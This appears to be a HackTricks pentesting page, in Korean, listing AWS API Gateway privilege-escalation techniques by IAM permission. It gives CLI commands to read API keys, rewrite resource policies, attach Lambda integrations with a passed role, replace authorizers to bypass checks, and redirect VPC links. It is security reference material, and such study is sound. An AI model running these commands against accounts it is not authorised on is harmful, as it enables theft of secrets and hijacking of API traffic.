AWS - Apigateway Privesc

Support HackTricks

Apigateway

자세한 정보는 다음을 확인하세요:

apigateway:POST

이 권한을 사용하면 구성된 API의 API 키를 생성할 수 있습니다(지역별).

aws --region <region> apigateway create-api-key

잠재적 영향: 이 기술로는 권한 상승을 할 수 없지만, 민감한 정보에 접근할 수 있습니다.

apigateway:GET

이 권한으로 구성된 API의 생성된 API 키를 가져올 수 있습니다(지역별).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

잠재적 영향: 이 기술로는 권한 상승을 할 수 없지만 민감한 정보에 접근할 수 있습니다.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

이 권한을 사용하면 API의 리소스 정책을 수정하여 자신에게 호출할 수 있는 권한을 부여하고 API 게이트웨이가 가질 수 있는 잠재적 접근을 악용할 수 있습니다(예: 취약한 람다 호출).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

잠재적 영향: 일반적으로 이 기술로 직접적으로 권한 상승을 할 수는 없지만, 민감한 정보에 접근할 수 있습니다.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

테스트 필요

apigateway:PutIntegration, apigateway:CreateDeployment, 및 iam:PassRole 권한을 가진 공격자는 IAM 역할이 연결된 Lambda 함수로 기존 API Gateway REST API에 새로운 통합을 추가할 수 있습니다. 그런 다음 공격자는 Lambda 함수를 트리거하여 임의의 코드를 실행하고 IAM 역할과 관련된 리소스에 접근할 수 있습니다.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: Lambda 함수의 IAM 역할과 관련된 리소스에 대한 접근.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

테스트 필요

apigateway:UpdateAuthorizerapigateway:CreateDeployment 권한을 가진 공격자는 기존 API Gateway 인증자를 수정하여 보안 검사를 우회하거나 API 요청이 이루어질 때 임의의 코드를 실행할 수 있습니다.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: 보안 검사를 우회하고, API 리소스에 대한 무단 접근.

테스트 필요

apigateway:UpdateVpcLink 권한을 가진 공격자는 기존 VPC 링크를 수정하여 다른 네트워크 로드 밸런서를 가리키게 할 수 있으며, 이는 개인 API 트래픽을 무단 또는 악의적인 리소스로 리디렉션할 수 있습니다.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

잠재적 영향: 비공식 API 리소스에 대한 무단 접근, API 트래픽의 가로채기 또는 중단.

Support HackTricks

Last updated